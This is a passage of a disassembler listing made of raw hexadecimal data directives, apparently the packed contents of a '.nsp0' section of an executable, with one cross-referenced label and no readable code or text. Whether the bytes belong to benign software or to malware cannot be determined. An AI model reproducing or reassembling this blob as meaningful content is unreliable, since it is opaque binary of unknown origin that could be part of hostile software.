dd 37D3A6AAh, 73319FB3h, 0EA08170Ch, 65B4C32Bh, 4C6AA16Dh
dd 0C534B6E5h, 9217BB4Fh, 0D86887CEh, 48301EDh, 335CF22Bh
dd 4C1920Fh, 5DB6F68h, 71E80B3Ch, 13A3E8A8h, 282F71A7h
dd 0AD87680Ch, 0ECC8C8EDh, 94B0CB99h, 21B8F63Bh, 223BF1Ah
dd 0CEF20473h, 0EA99B1DEh, 430A7CC5h, 0DDF2F76Eh, 5DA8E377h
dd 26A2FE0Bh, 0CF73DA34h, 80055F93h, 321592FFh, 0FFB882BDh
dd 9DF66930h, 0C965F925h, 0DA40015Eh, 0D34EA6B1h, 0DBCEEF7Ah
dd 0FA84EBAEh, 0B1AEFC33h, 0DC731149h, 0A2C8AAD3h, 0C62DAE26h
dd 5BD4E4C2h, 0B3949B43h, 23216640h, 0B9849867h, 6FCCBC52h
dd 99431115h, 3ED6373h, 0F0F38FCEh, 0A06699B9h, 9061876Bh
dd 0AA630126h, 45FE6AE8h, 0ED32E33h, 6695B336h, 0A675A0B5h
dd 0E7A3AF06h, 3D47E9B1h, 7293E853h, 463EC374h, 913B045Eh
dd 0DD2E9A11h, 82640247h, 0A165D688h, 6E5F3348h, 0E83AD0A2h
dd 6BD140E1h, 9F64382Ah, 4F2339B0h, 1041732Bh, 7393DF1Eh
dd 0ED8ACC41h, 8415769Ah, 0B68749B1h, 251D899h, 0AB8064B0h
dd 43C8CF3h, 3EEACB18h, 70DC06F4h, 30F77D2Fh, 0D9AF054Bh
dd 0CC812237h, 0A994D6B1h, 0EE1947E0h, 0BC70F0CBh, 0FA626A57h
dd 0E3AC09FCh, 0CB0FEA38h, 5A817160h, 48067282h, 808826Fh
dd 0F5BB4C08h, 0BC7A7E60h, 474C8EA0h, 10BB392Fh, 60232C95h
dd 0E2315B95h, 0AB95B0F1h, 308D9349h, 0FDD6A100h, 0A5AE2A5Dh
dd 3D3ABD9Fh, 0C79FEB75h, 0A0A16013h, 1A57FD70h, 12BD012h
dd 4D9FBD9Dh, 1E5071B7h, 6A771D73h, 2DA026Dh, 6B881D8Ch
dd 49A1E131h, 0DBB4A610h, 213C4CAAh, 0BCA6B16h, 0A6353A3Bh
dd 70AB78CAh, 4A3D4713h, 9678FC5Ch, 0F16EF0C2h, 747B114Bh
dd 5E4975DCh, 0AE4B0357h, 1042689Ch, 800E0A3Ch, 563C3CEFh
dd 0D4AA2C7Fh, 0BFA7F2A6h, 626526DAh, 276945A7h, 5E826C1h
dd 0A9B2D2C6h, 46537503h, 0F9B69547h, 87AC25FCh, 84254BB8h
dd 46A9D27Dh, 75DC36Fh, 0B3E76E07h, 66AC8C93h, 687B60F6h
dd 6906029h, 8D82B98Eh, 9371BC05h, 0B764C15Dh, 43FC9C35h
dd 9EB40A42h, 7923FDD1h, 293159F2h, 0C4826C13h, 21EBA1C9h
dd 0E781A5Fh, 2DD9CB0Ch, 4EC261BBh, 0C00A7938h, 6453A8B5h
dd 41BAC04Bh, 0D07258CAh, 2F99E2E8h, 0C8883DFFh, 0DA10BFF1h
dd 3BCA2262h, 97C3DB0Bh, 0C89CFC16h, 9338936Ah, 0B588EF73h
dd 0DC6283C7h, 0B0BF69Bh, 1EB5F9FCh, 2C963576h, 2F009379h
dd 47F77131h, 8B2A5181h, 70C572D6h, 0F0DE34Ah, 87EA60B5h
dd 76ABDB36h, 52073882h, 0BC35FF40h, 78AB6575h, 0C6FEF812h
dd 0DD503DA7h, 390B56E4h, 90412D4Ch, 2E204370h, 4B8E1278h
dd 7FAC9F46h, 3D6287FDh, 0D3742C40h, 2932F80h, 20AA46E8h
dd 0C5FB4E5Ah, 0A15C89C3h, 0FE25CF99h, 823DB742h, 841D774Ah
dd 8FA483DCh, 9A7CE45Ch, 92E799CAh, 906E2DF0h, 7DEC9D0Fh
dd 0FBEF9643h, 0AFBA41EEh, 22014460h, 4B7C2513h, 0D36D67CEh
dd 0F9724DC2h, 25C5502Ch, 0ACBC01DCh, 8CAC774Fh, 0B98CD598h
dd 7937EC06h, 0DD506FA4h, 0E285DC90h, 31BA5E83h, 891C314Bh
dd 39E65B94h, 304F6BE7h, 147EF9FBh, 0F54DCF78h, 817B7DDFh
dd 0DBB3F633h, 3C38687Eh, 0FEECE41h, 807B190Ch, 6B60A2ECh
dd 71FE37DDh, 9575558Dh, 0FDFDCA26h, 3D4B5ACAh, 57F128FFh
dd 3339F378h, 751CA85Ch, 0E05624A7h, 0DF2288E3h, 164286CDh
dd 25C25BBBh, 77C04F3Ah, 3DE2529Fh, 769B1A19h, 68F6B141h
dd 0F4C27F4Eh, 4A7B6E7Bh, 41055C71h, 0BE6FED8Ah, 5A3C01D5h
dd 0F0DB6972h, 59881524h, 0ACDD9D4Dh, 0DB8716F6h, 9C004D38h
dd 0B3714CA2h, 5D056CFFh, 0BBD30BE5h, 0FA1D5568h, 5BA2344Ah
dd 15F7F8B9h, 0D67CC4BEh, 4C9BD25Bh, 97615107h, 9AAFB1E1h
dd 5FD6A17h, 543A3CA5h, 7796A4FEh, 8D9A35A0h, 8933C99Ch
dd 0A03F2B40h, 2C00874Bh, 1F1609EEh, 0D37B1D4Dh, 0E319548Ah
dd 8106CB38h, 646CA86h, 0A50AECDFh, 0EA943C67h, 8A303BFh
dd 3D8559F0h, 50513F63h, 0B63AABFEh, 1403F3F6h, 0E9C1ADCFh
dd 3B9494F2h, 0A92286BAh, 37262ACEh, 0E0A8854Fh, 0CA4FC701h
dd 9D1980C0h, 2FC29E58h, 42ABE013h, 110B1E48h, 0FA35CE42h
dd 17915FCBh, 0F27C7DF6h
dd 2DCE15C5h, 65335265h, 0CF09CE13h, 8C42F376h, 0BC9EECACh
dd 1C009C85h, 0E5C2D98Ah, 10205DA4h, 73E21A8h, 0FB1EED83h
dd 0CFEE581Ch, 0C690849Fh, 30A1A521h, 0B52D9A98h, 0F43DB794h
dd 0D1A58FADh, 0D85A4D1Ah, 48C96C19h, 0C7B04D64h, 67476B3Ah
dd 0E205BC88h, 0D4C2A391h, 90CB52EBh, 731539D3h, 160F1626h
dd 5D4A2326h, 4052A83Dh, 0B41E2DC8h, 0D6CF0684h, 0B217B6BEh
dd 6D8D7A93h, 14DC1D92h, 87EAF3FAh, 49D2D5CDh, 0A9581024h
dd 0C81BFE62h, 454B7A9h, 0E1A85A8Eh, 0D6672627h, 3937D21h
dd 569F7EAEh, 0C8FBD78h, 8411729h, 7A01D3DBh, 0E58655F7h
dd 49F99CF4h, 0CA6C225Bh, 3947F123h, 943D1D8Ch, 0CC0A1200h
dd 33A48CA9h, 39C2FF53h, 0FA512007h, 0E847500Fh, 64B85E97h
dd 5A7CEB00h, 143C86D8h, 0E44FE4EDh, 0D6BEAF8Ah, 861061A0h
dd 55972992h, 0E169D5A0h, 0A80806B1h, 0EF70A7C5h, 0EFF1BFC1h
dd 82B11A71h, 0C9B74141h, 0F9A04D3Fh, 9F561A0Dh, 0FF21D95Ch
dd 64E6EF9Bh, 0EEC6C81Dh, 0E93251ACh, 0E4CA6FF8h, 3746F580h
dd 21AAE238h, 9494C1AEh, 2652C021h, 0E8D47A1Fh, 525C2DE0h
dd 0DF7FA7C7h, 0E4904C82h, 4B28F89Ch, 3D6D3D41h, 71AAF612h
dd 0BA6CDE6Eh, 95F39706h, 4FCFCDADh, 4D430D24h, 9BD9D665h
dd 7544CB7Eh, 0B7E510B3h, 2A5983ACh, 0F3BB0C6Fh, 0C33DE7DBh
dd 0A8912379h, 0F41B153Ch, 0DC3947D6h, 400337Ah, 5538291h
dd 0ABFC44A3h, 83E68210h, 7AC590A8h, 5C49BC58h, 0E989B17Bh
dd 8442B70h, 525AF303h, 5546C2ECh, 2A35AEB1h, 8B181DF6h
dd 59B5540Ah, 8BC664A6h, 72E25073h, 672A7534h, 43FFFEFFh
dd 0E445A6E8h, 52CF2DB1h, 0E02084F9h, 20FA6C4Dh, 1D4A91h
dd 0B005441Ah, 0D1B488A0h, 0C92F92EEh, 3E114756h, 69EDF50Ah
dd 0E2A74809h, 8163C3DBh, 0C48C39C0h, 0BDFD4D64h, 231FC846h
dd 440C936Ah, 8E13BEC4h, 0CD75A73Bh, 0F7AAAE14h, 530E849Bh
dd 6CE5593Fh, 24910EC2h, 0D2882866h, 31408749h, 9531801Ch
dd 6F587574h, 6947393Fh, 906CB5D1h, 835DA80h, 0D601044Ch
dd 47E772F8h, 95AA75F8h, 0CD6626ACh, 16C6F300h, 39592C3Bh
dd 7B6D4D54h, 87CC9510h, 6C47F5B2h, 1CFFB9EAh, 493E9F92h
dd 47E86D50h, 0FACD5149h, 0F381615Ah, 53B17E4Ch, 4647BC8Ch
dd 59C4A731h, 0EEF833AAh, 2B255396h, 5654E6DCh, 2036ECA4h
dd 57F3FD22h, 47B78EDCh, 2C2291EFh, 89807EC3h, 955D2F23h
dd 1DFB37F5h, 6E284EABh, 0DD7B61C0h, 0DD48495h, 220E33AAh
dd 79BB9F19h, 6B12DE0Ch, 7C041764h, 0A60FA073h, 9ED6A7E1h
dd 0B26AB193h, 579E5551h, 0BA12BA85h, 98471EF4h, 962D61DAh
dd 0B94F45EFh, 73D60F40h, 0D5173F62h, 5A90F467h, 0C9468ED8h
dd 3868795Bh, 85F611B1h, 6DB8E720h, 44AB55DEh, 545E04A2h
dd 9F770FEh, 0A2C43C42h, 1847D75Eh, 50666765h, 0F602C4Fh
dd 0CAFB768Dh, 6B4B9F66h, 0D490BBD2h, 9B5D1ABFh, 0E1FEB482h
dd 37D15372h, 9E20F0A2h, 0CB37FFD2h, 96F14D78h, 99D5DA9Ah
dd 3766C8B5h, 619EC44Dh, 0AF930C26h, 0C0CD0DC1h, 69CF55Bh
dd 106A396Dh, 0C7CB90FDh, 3E69E5DDh, 8484BBA3h, 0DD087097h
dd 0F012A0A9h, 13A376E7h, 0CA3AA8Dh, 0C3625168h, 5426F3B6h
dd 2F7FDAC5h, 0D332889Eh, 2927FA54h, 0C2131B1Dh, 2DD4AC57h
dd 7A6C48A9h, 9721058Bh, 43CC31E3h, 27F36C80h, 0A71BCC61h
dd 66C915CFh, 6D050C5Dh, 549114B1h, 749447DFh, 622D2F8Ch
dd 6DFCF295h, 56A0F2B3h, 5FAA623Fh, 0AAD1667Dh, 0DDDE5761h
dd 0CC96DD19h, 8A392799h, 0E596B589h, 428AF096h, 72D966E2h
dd 7AD7ED74h, 6A2D7FDDh, 9D0F727Ch, 532D8ED5h, 0E101BB08h
dd 92648FBh, 8FA925C7h, 1AD8109Dh, 0AFBD5E8Ah, 4D47FB9Ch
dd 0D7AC97B9h, 804FC60h, 0BD7866EDh, 0DB6007D2h, 452F8FA0h
dd 720067AAh, 0D2B4376Ah, 0A77E68B6h, 0F947EC9Ch, 5A434823h
dd 0E0CC52A2h, 4241CB04h, 742093C5h, 0D3800FE2h, 8B8FE34Ah
dd 8C1B5C9Ch, 2D390B8Dh, 9F58DD79h, 0C3130F08h, 1D7DB2EEh
dd 0A0E4A0EEh, 1D84FBC6h, 614CA342h, 0B2F952C7h, 0EB1B58ADh
dd 0D3CBD470h, 7D6EA114h, 6C9BE47Ah, 0A4871794h, 3765116Ah
dd 2F0C2E31h, 39836A33h, 36FBD6C4h, 0C6B129E8h, 43D2AB07h
dd 828130B1h, 1D243DB1h, 360B92B9h, 0BF42507Dh, 0A9D2F6F2h
dd 0EC732990h, 0AE84646Fh, 1D32BC13h, 85933B5h, 0E36F17FBh
dd 73CC85F0h, 0B9046891h, 36B07061h, 0AE5DA41Fh, 5FAA5163h
dd 0C2A85B95h, 0E170D0A9h, 4803686Ah, 3DDA3C48h, 0AE70DFE4h
dd 934A298Eh, 3AF3EA4Fh, 3495FF93h, 9F5B0EBBh, 6D77A703h
dd 8F03797h, 9B8D3FAFh, 1E9B400h, 5D5EDBBDh, 0A3578CE8h
dd 7F183117h, 71CF0D0Dh, 0B4B230A3h, 0D1979622h, 80BCC43Bh
dd 47CEE886h, 6BF15861h, 38B8C43h, 1CD268B2h, 0D4E02431h
dd 6AD9740Ah, 0E02BD369h, 29E997D7h, 0AB6E92B5h, 198C12DDh
dd 3276619Fh, 517736D3h, 82E45441h, 688DCDB4h, 0CB4F5765h
dd 4BB6C0A5h, 0D96121E5h, 0FD4988F8h, 907A1B15h, 4B7FF486h
dd 0CBBAAF20h, 0E88CFB38h, 6D320659h, 0BACA71ACh, 0EDBBE87h
dd 0D09CE5FBh, 7C81AD5Fh, 57468722h, 0BBBB9F30h, 71BBB086h
dd 53E70435h, 4471FDFBh, 4B95C63Fh, 0AB9179CFh, 0FE030736h
dd 0D19F9437h, 8EDE95BDh, 98C47C3Dh, 7BF0E34Dh, 90A09008h
dd 828F574Fh, 418CF5BAh, 0A815459h, 82D618F6h, 67B7B263h
dd 0B3E114F7h, 0A732B00Ah, 5030A863h, 8A61D80Ah, 0A9050BCEh
dd 0E30011E2h, 751A3978h, 0E5C20F26h, 34D75F2Ch, 0CF845F99h
dd 9A78B1E2h, 8DAB1704h, 53C8375Eh, 0CE4DCD0h, 20C1253Bh
dd 891C65D6h, 9EB4F206h, 21E5E1E5h, 0AFC9E7D6h, 302A44EEh
dd 0F3EE16C9h, 0F6F9D66Ah, 59ACC367h, 0ACA06AD7h, 7D5A46Ch
dd 3465B32Bh, 509B6AD6h, 0D6E6D536h, 0D6B2EE66h, 64315D95h
dd 469061FBh, 93AB194Ah, 0A178136Ah, 141A1DA2h, 5F93DDBh
dd 0AA18C247h, 0EB3104BBh, 942D2C90h, 716A1E2Bh, 8C613730h
dd 0CA703F73h, 354C73B1h, 96BDD463h, 0AAE1523Bh, 0BE3C2854h
dd 0B9723C0Dh, 8EBA647Eh, 1B3FDB0Dh, 0BD75B003h, 3BD6A1CDh
dd 0AFDB9723h, 0FA186036h, 6B3E7CC1h, 0A3413B0Dh, 3AB6E8EEh
dd 14E94166h, 8DB264B4h, 81B3904Ch, 7BB13526h, 2A5AE99Fh
dd 0B5E608Ah, 327573ABh, 0B5C399E7h, 0B51C9C8Fh, 0DAFF0D2Dh
dd 9B53B5FEh, 61B686F0h, 5C6D3910h, 0C9A3CC31h, 0F2CA4C9Ah
dd 0DE34E3B5h, 0B00B164h, 0BB94C67Dh, 4EB86730h, 781380C5h
dd 0A0B9CD5Ah, 78528E19h, 796A6F31h, 0EBA9ED95h, 0B7BB22C4h
dd 0C18195BAh, 0FBB6B27Eh, 5BDC27A0h, 0F41880D5h, 10D71D52h
dd 9ED2AF65h, 0BA39E4E5h, 0A2D9B358h, 0AD3CDB10h, 0C88E8071h
dd 2E6C1DB8h, 4690E31Dh, 41AB7951h, 7336C360h, 0B48DAB72h
dd 7B75A99Fh, 5680D61Bh, 0FDF29312h, 0EAC65B8Eh, 0D4E58FE9h
dd 22FECF19h, 0F905E09Eh, 1B487CF9h, 9F8B8E6Ah, 0D9525344h
dd 73D3625Fh, 119A2CC7h, 979024CCh, 71B16BB4h, 0D1B23A9Ch
dd 998C0D25h, 610683DEh, 1490EE39h, 0D1B3B79Bh, 0C7F426AEh
dd 4F9B4052h, 21808F82h, 26385342h, 87EA534Ch, 0A63AC8DFh
dd 4839F506h, 224757B1h, 8C20DA6Ch, 8CC6C1EFh, 5E3BA467h
dd 25073810h, 730A93A7h, 0A7B17B9Eh, 0F583EB50h, 0C3BF1618h
dd 55224A10h, 0D12544E0h, 0CC41A1EDh, 0BF100BFDh, 0E15ED7B3h
dd 378FA588h, 4EB9B6F8h
dd 55B213DFh, 0C205829h, 759FEAAh, 0E0A0374Fh, 0EFFDCAFCh
dd 3530C710h, 0BF1F4ABh, 1C25BB2Fh, 0C49AEC60h, 9F2F2138h
dd 0B1AF675Dh, 0F73F315Fh, 32C1BB5Ch, 674E6937h, 0AB43C6B1h
dd 1E000604h, 133CB30h, 809D6962h, 407724Ch, 3B6E334h
dd 48D5553Fh, 8B89B6F6h, 0F259833h, 95CDFA00h, 0A95DBDFFh
dd 728D697Ah, 49BBE26Eh, 0F650A28Fh, 4A8737D8h, 33DFB33Ah
dd 5F779634h, 0CFC6B998h, 0D467CCF2h, 65A5DB6Ah, 0A7173B3h
dd 0B19ADCAh, 0A05573A7h, 3DDFEFD8h, 68153F22h, 0A784D4BAh
dd 7E98D220h, 0C4FC8440h, 4C81C317h, 5E653454h, 0C407DEC9h
dd 9F2D213Dh, 0B419F5Eh, 0BF55184Ch, 3B046AF0h, 0BEF1FAC7h
dd 0E814C48Dh, 63187C00h, 7FA3214Ah, 6BA8A147h, 0EC9BFD04h
dd 0EBCFB2F7h, 47E11B4Eh, 3ADF687Bh, 0AD46921Fh, 0C632A142h
dd 0FC24DCDAh, 0BA1F7636h, 0FEB25F69h, 0AAD0E38Bh, 7DDB2C67h
dd 0DA985CFDh, 8CE3020Ah, 0CC7EDE12h, 0CF1C0C3h, 86C6CCF3h
dd 7FED13B6h, 16901162h, 584B50F4h, 6C084357h, 0EF48F12Eh
dd 1E0ADFE0h, 0D8A0F620h, 0A864FCF7h, 6537A0Bh, 27EB3485h
dd 7F4626ACh, 0BA8C6741h, 1E9EE46Fh, 9E406589h, 9E00D835h
dd 9C30BF0Ah, 0AB792D86h, 31BF43D6h, 0AE8BE135h, 6D6DA5F9h
dd 13EC3682h, 0D0590782h, 0E6C8C4C1h, 8722AD5Bh, 1015B9E1h
dd 3ABFE479h, 35E9DEC7h, 9FC73D41h, 82592ECBh, 0E33E128h
dd 7C3BB472h, 0E7BE3A9Eh, 5BA30EDFh, 94426AEDh, 0DEF9A36Dh
dd 0A58BD87Ah, 0D2E7CC4Dh, 3A415568h, 8D3BE4A3h, 3D986706h
dd 897788BEh, 22D07F23h, 3507E434h, 620ABAE0h, 0E90957A7h
dd 2928B27Ch, 0B5392784h, 70A4F7E0h, 0CB334026h, 0C1607E8h
dd 177CD18Bh, 0BCEA65h, 9662BC4Ch, 0F78209B2h, 6EB99493h
dd 547426AEh, 1523847Bh, 19C56656h, 5866236Ah, 3E153668h
dd 1BDC625Bh, 0EDC02FAFh, 8BF47CFAh, 0FE6FFD51h, 6E619436h
dd 0C41F4C4h, 0EECB5C8h, 690DD576h, 3A746B96h, 46B1AA3Ah
dd 0C00A1129h, 5366C3D5h, 4C3B6096h, 89FDE563h, 0FD795494h
dd 9A81A80Fh, 917AECD0h, 34D5D5Ah, 27C2787Fh, 289FDB3Ch
dd 0A2BCBFA6h, 734899Fh, 0EFBA4B7Ah, 0E0428EAFh, 0B35529C5h
dd 9A6C577Ch, 0B44A1C43h, 7D139BEh, 98456B66h, 46552054h
dd 0C2E11184h, 3319251Eh, 74EE3153h, 650D6EEFh, 77BA176Fh
dd 4888CEE3h, 0FE29EEBFh, 2B21E8h, 0F59462DBh, 15E83DDEh
dd 3BF99B50h, 0D5A347D5h, 46B0D77h, 84A15CF1h, 9103D44Ah
dd 0B60709F3h, 8181DF6Bh, 7B0ED299h, 8542E523h, 0EC003107h
dd 6F52F654h, 0ECD1C046h, 0CA1DD898h, 3C1623FAh, 0FDC074F6h
dd 0BAD3498h, 23A03EFEh, 4A457E34h, 74270741h, 0C92E9BA1h
dd 872F4BDEh, 17306A6Eh, 6E719587h, 21E6D12Ch, 0F58E20C2h
dd 0D5C361AAh, 0DE5F9F9Bh, 65235F7Fh, 68D14C55h, 4D124DB5h
dd 9CCC4554h, 0E9939BFAh, 47BD6688h, 0B626BC93h, 0FCD56278h
dd 0F3FC346Ah, 807A08C7h, 0B730EE62h, 0DBC6E695h, 0DCB67BD3h
dd 7508DF18h, 9E113A80h, 52BB5D93h, 4FC431D2h, 3FC8FF35h
dd 5C737CDDh, 0B04E4DE4h, 4463FA83h, 78B436CBh, 59EC01E7h
dd 62796B6Ah, 2A7C56D1h, 3C5A6F05h, 0ED33D505h, 33F72B86h
dd 9D122802h, 7A1520B6h, 62C724EBh, 844329AEh, 81947119h
dd 0F39D3B3Ch, 0E8AAC071h, 605DE946h, 0A16BB0B5h, 56C9F238h
dd 0EFD7C77Bh, 4C36DA9Ch, 0C68DD531h, 0E0D24FEEh, 0B3ED8BFEh
dd 59026D1Bh, 0A1118C08h, 0AFADE126h, 6B85562h, 0BD876CF2h
dd 0BC7ACF68h, 3928E47Ah, 8874E6DBh, 855C4FDAh, 0FB22B05Fh
dd 6BCEA77Bh, 0BD2FAEC7h, 0E12AC80Fh, 483B257Bh, 22A4F65Ch
dd 97B0B0CEh, 68D244CBh, 34B6DA97h, 610F15A5h, 0F887F01Dh
dd 0A080B512h, 8A3B6562h, 0CAE60DDFh, 0F208831Ch, 8C62421Ch
dd 1DCCFA83h, 91B3A0FCh, 921A69DAh, 0A509FC2h, 0CAA1F14Bh
dd 191864D0h, 18C5CEC8h, 5DF228C9h, 95E36990h, 2733E3A8h
dd 409CB0A6h, 0D7025FFFh, 0C9911542h, 745C03E1h, 0BD46A038h
dd 0C4AEF21Ah, 0E4165BB3h, 0C67B87BAh, 0A224F6A2h, 0DEC9E1A3h
dd 0E207A9E6h, 892A7544h, 6D069D71h, 5D331E17h, 7B5851B2h
dd 52AC061Ch, 88674454h, 12E3C79Ch, 20B9092Fh, 0C61CE8DDh
dd 5298BD94h, 953A598Dh, 4C0B4C6h, 1FABF5EFh, 90FD0F9Fh
dd 6DF1B7BDh, 671D1C9Bh, 7D8DFD22h, 4EA67981h, 16CA3DD8h
dd 0A0110FC7h, 61A63035h, 88557ABh, 3F7CA60h, 0D5A19975h
dd 0DF90AAF2h, 4092E846h, 761E616Ch, 16163A0Bh, 0A9E114E1h
dd 0EA0C14F2h, 5FF97A05h, 6796474Bh, 1701E38Bh, 696DE5A0h
dd 2CC47116h, 74B742Eh, 2AA8D891h, 0F51CA2B7h, 0D9348690h
dd 7E236DA8h, 37BC960Fh, 8EAA55E9h, 9CF5E153h, 477248Ah
dd 0C0760CD4h, 0E560658Ch, 5673E027h, 6AB95E42h, 16A3A5CCh
dd 0CBCEA94Dh, 5DC4EE6h
db 9Fh, 78h, 0D7h
byte_494843 db 0B8h ; DATA XREF: .nsp0:00428640o
dd 2069B8C6h, 1ECD2FF7h, 0E384AB7Eh, 9CD23BFDh, 988520Eh
dd 0AF77804Eh, 0C180356Ah, 9C1D365Bh, 0AB6E6A5Dh, 0BEFE5C0h
dd 306C6663h, 8E2181FFh, 17E2A644h, 40780F8Ch, 8480733Bh
dd 454D2453h, 2784934Fh, 0C18C1817h, 21410B39h, 4A383CEDh
dd 1E34B56Fh, 8E57A691h, 0BFE290CDh, 20CA59F3h, 1F0682AEh
dd 378121D8h, 259194F7h, 858E275Ah, 0F91BE015h, 8DB2B37Dh
dd 8796DDE4h, 8DA11AB9h, 2D05AF7Dh, 84DC5ECAh, 7AE135C0h
dd 0A9D9885Bh, 10A4AFBFh, 0A21B2011h, 1FA18BA0h, 0C18F7434h
dd 7EF1BD52h, 22231474h, 0E8C87F59h, 0FAD0147h, 2BF97742h
dd 0DA5BA8A5h, 2ECC2C25h, 469A2218h, 0DA78BB2h, 0BFC235E4h
dd 77BE4790h, 0C41D6A5h, 91F58CC4h, 4BDE9590h, 0DD31CDD7h
dd 0E32933Ah, 738A18A4h, 78B97F7Dh, 9C3503DCh, 0A097ADF5h
dd 61427DB1h, 0FF55B719h, 2E4E4658h, 0A3C65EF9h, 0DB823EECh
dd 0A9EEF78Fh, 980F7C9Ah, 31CD16EFh, 0F33950D4h, 713422B7h
dd 2A526820h, 0E1147B5Eh, 92C36D99h, 86656291h, 4DBA6A73h
dd 3EE47286h, 0E2836FFBh, 0E4880503h, 0E712EAC7h, 0C2080441h
dd 83FA73E4h, 551E5788h, 5DA4AA67h, 0D54DADB4h, 434D3C94h
dd 6DC15E63h, 5FE7511h, 0B55DAD01h, 19340E9h, 0AD89719Bh
dd 18C62BF1h, 35FA4CD7h, 7C541F81h, 0F9B79607h, 77357625h
dd 47CFE69Dh, 0D4D08817h, 0C0C6CF4h, 11BC00A2h, 0EEFBA9B1h
dd 8B5A2734h, 637F566Fh, 807F6B82h, 0FE12C884h, 5C67AE88h
dd 2F284EE9h, 3C2DA5A1h, 67120011h, 70693A8h, 64C5E016h
dd 0BC277DDCh, 691E4F02h, 0C22B3F4Eh, 4BBAAC43h, 0B1403EBh
dd 43EEFE13h, 97FC13ADh, 0FCA4A8BFh, 4217D720h, 0BF757A93h
dd 51703735h, 5604ABAEh, 0C8CE5EEAh, 0A519F66Ch, 6B17352Ah
dd 37348AC5h, 4D67E6F2h, 4C29B5D4h, 0FC039034h, 6A02F395h
dd 9096890Dh, 0CC6C51D4h, 0B7885AD4h, 0C7D70704h, 12564797h
dd 75146A4Ch, 0C33FD9E6h, 41D37AE8h, 0CFF18A34h, 268101C1h
dd 0E691AEC3h, 78E0EF6Dh, 0F5D781B2h, 759ABEFAh, 20B657C3h
dd 0D4F23C93h, 28DDF701h, 0EB2BD1B5h, 0A6F2044Bh, 0D6FDF83h
dd 865E6508h, 9AC60111h, 0BA01EAF9h, 0C6C1495Ah, 0B06D29EEh
dd 0A207B441h, 0F254B664h, 70162851h, 5440C96Fh, 0DA1B10C1h
dd 0B7ABFCD1h, 32557360h, 6C8EA848h, 0FCF2BC60h, 0C3E5155Ah
dd 0CFB98235h, 0CE744951h, 5DAF9B17h, 991DAE4Fh, 94E1A2D1h
dd 671A881Bh, 0FC49C430h, 43F9F15Dh, 6AF27D69h, 9A4CD2FAh
dd 0B245BDEh, 0A2289DDBh, 0C32E73F9h, 31193AF2h, 786CBE1Dh
dd 9B45CD14h, 7400E7D5h, 28F6EBA3h, 18EB46BBh, 404E6C37h
dd 371D7FF8h, 82A3BF3Dh, 0C8DED81Eh, 0CE583A9Dh, 2B935AFEh
dd 0CE4DBCF6h, 0D1577112h, 268BFBB3h, 57693014h, 0CE795548h
dd 0DD2EF649h, 619CBAA1h, 0D0B02D5Ah, 0A6929661h, 0E3D36D6h
dd 2E47EA15h, 9E5CB31Bh, 2285D98Dh, 0A4A36499h, 0CCD520E5h
dd 0DD500819h, 6BDF6C1Eh, 2C879242h, 11CC9E79h, 0BB4215B4h
dd 0BFAA6F02h, 6EC06B90h, 0F2379920h, 0C5D1CA6Fh, 0FA2CE145h
dd 49D7EB9Bh, 4EFEAF19h, 0BD7D5773h, 0DF7C9D77h, 43A8003Fh
dd 49C9092Eh, 0CF4FEA6Dh, 81F4CB8Ah, 0AA2580B3h, 75F88DB6h
dd 692FB918h, 171583EAh, 131B61ECh, 171B66FBh, 625602E5h
dd 9DADD040h, 0A4A1C6AEh, 7BEE2651h, 0D3B6010Eh, 69D7FF6Dh
dd 0FFA0FE3Fh, 862339C8h, 6F5F0CBAh, 1F1D971Ch, 0B441396Fh
dd 6F0A0425h, 0C48E0049h, 3396C73h, 87B787CCh, 0DB74BD15h
dd 7FE14301h, 0C83EBC7Fh, 8BE8DF1Dh, 5E276B9Dh, 0C9E9FAF3h
dd 3E321C75h, 332491DBh, 17B6B3A0h, 6EBA140Fh, 198F6C9Bh
dd 2C4F376Eh, 1994E443h, 0E1DA1E2Bh, 718F3518h, 0C1EEEB92h
dd 636DB1C5h, 5B0D7794h, 0BD834CDDh, 84C21C65h, 2EC5B75Ah
dd 0F3484h, 3DF8A9A9h, 0F1E41D0Ch, 0D090A718h, 6E983787h
dd 98354D01h, 0D3236D1Fh, 3990DEF7h, 93826C83h, 0C793A048h
dd 0E3B42236h, 24AAC729h, 0FCF184FAh, 90453B74h, 9783A41Ch
dd 0CEFFBA5h, 0DDB8CAFEh, 37766339h, 5CEA042Ch, 6926C1E9h
dd 365DEB16h, 0D5D136A8h, 25694170h, 5CCE0AB1h, 1920D07Ah
dd 2B1129E0h, 1DF65B16h, 69569DC7h, 1A06926Eh, 0E16DCF7h
dd 5A48C3F0h, 0E19A317Dh, 0C503274Ah, 6F924DBFh, 11B3AEC0h
dd 79C89870h, 392BBAF0h, 7F694680h, 0EBC1651Ah, 0ADA6A8BBh
dd 0FE743497h, 46EC81C8h, 767839EBh, 0AF35FCFBh, 6B5146B7h
dd 0E069DBFEh, 0D552F9EDh, 0B216299Fh, 0F36559B5h, 603C4559h
dd 0E40CEF9Fh, 837EDBECh, 95CFC58h, 1064F99Eh, 0C1F12222h
dd 74D580AAh, 0E153B086h, 0D16F901Ah, 0DB5396F5h, 2847B937h
dd 33191819h, 81262C24h, 75948FF3h, 0F14854BBh, 6B3DF2B2h
dd 62575F51h, 0F8CB9426h, 0C6F4B013h, 0BD69B3A6h, 0ACC16922h
dd 0C75BF1F1h, 0EE05A570h, 95E0E03Ah, 3A074C00h, 0E1138D12h
dd 5A3B3FC2h, 0BE850468h, 0F490F4BCh, 0EA92B0C3h, 45ABD237h
dd 6A358539h, 0FDD79DFEh, 4A68891Ah, 0E081076Dh, 0AD996FCEh
dd 0CE243988h, 0E0D3ECD4h, 0E97B5BA1h, 0F05B2672h, 0A2969BA6h
dd 526EC722h, 0C49B402Fh, 0CBD82183h, 5353CAE5h, 0CED778B6h
dd 264BC18Bh, 0B5ED6AD4h, 0AC9E6CD2h, 0F6F385A6h, 43972F60h
dd 0CF956181h, 172444E4h, 0A2ED3AB9h, 30B023E1h, 3905EF39h
dd 98F8AB1Dh, 0F7F9A37Ch, 11A6A8Dh, 0A09F9BC7h, 84A2E952h
dd 0C967782Ah, 59B638EDh, 0F06A13Bh, 7B49E55Fh, 3B1A70ABh
dd 0FB175898h, 450334B3h, 5395A862h, 24E7BE09h, 5758DACAh
dd 1F5C2BB2h, 545040D9h, 1B584B9Dh, 0CBE641FCh, 0B168BECBh
dd 11248A81h, 0BAFB952Eh, 0AF5350EBh, 0E6C68824h, 0F501F2E5h
dd 17F32E3Dh, 0B7F54DBh, 0A6E47538h, 0AD10F8A6h, 713453F0h
dd 0D4AB698Bh, 0A013CB02h, 7D4F94F6h, 7E67EB28h, 279318A8h
